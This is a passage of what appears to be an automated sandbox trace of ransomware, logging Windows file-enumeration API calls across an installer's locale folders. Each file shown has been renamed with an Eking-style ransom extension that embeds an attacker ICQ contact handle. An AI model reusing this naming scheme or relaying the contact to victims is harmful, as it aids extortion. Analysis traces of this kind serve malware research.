ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc34c381a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc34c381a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc34e992a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xdf2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc350feeb, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc350feeb, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc350feeb, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x130c2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.486] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc39faa49, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.487] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.488] GetProcessHeap () returned 0xc10000 [0212.488] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.488] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1031", cAlternateFileName="")) returned 1 [0212.488] GetProcessHeap () returned 0xc10000 [0212.488] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.493] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.493] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3725da4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3725da4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc374c979, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xe52, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.493] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc374c979, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc374c979, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3772239, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142b2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.493] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.493] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3772239, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3772239, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc37be719, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.494] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.495] GetProcessHeap () returned 0xc10000 [0212.495] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.495] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1032", cAlternateFileName="")) returned 1 [0212.496] GetProcessHeap () returned 0xc10000 [0212.496] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.499] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.499] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a20bf7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a20bf7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23a2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.499] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc39faa49, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc39faa49, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3a535c2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x15212, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.499] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.500] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a535c2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a535c2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3c832de, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.502] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.503] GetProcessHeap () returned 0xc10000 [0212.503] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.503] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1033", cAlternateFileName="")) returned 1 [0212.503] GetProcessHeap () returned 0xc10000 [0212.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.503] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a6e356, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3a6e356, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b7b36c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd72, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b7b36c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b7b36c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3b9e4b6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12ec2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.504] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3b9e4b6, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3b9e4b6, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d1bb69, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4462, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.504] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.505] GetProcessHeap () returned 0xc10000 [0212.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.505] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1035", cAlternateFileName="")) returned 1 [0212.505] GetProcessHeap () returned 0xc10000 [0212.505] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.505] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.510] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.510] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ca9572, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ca9572, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ccf67c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.510] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ccf67c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ccf67c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc406450f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12de2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.510] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.510] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d1bb69, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d1bb69, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3d909d5, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.510] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.511] GetProcessHeap () returned 0xc10000 [0212.511] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.511] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1036", cAlternateFileName="")) returned 1 [0212.511] GetProcessHeap () returned 0xc10000 [0212.511] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.511] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.516] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.517] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d909d5, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3d909d5, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3ec13ac, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.517] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ec13ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3ec13ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fa431e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.517] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.517] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fa431e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc3fa431e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc3fca5c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.521] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.522] GetProcessHeap () returned 0xc10000 [0212.522] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.522] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, 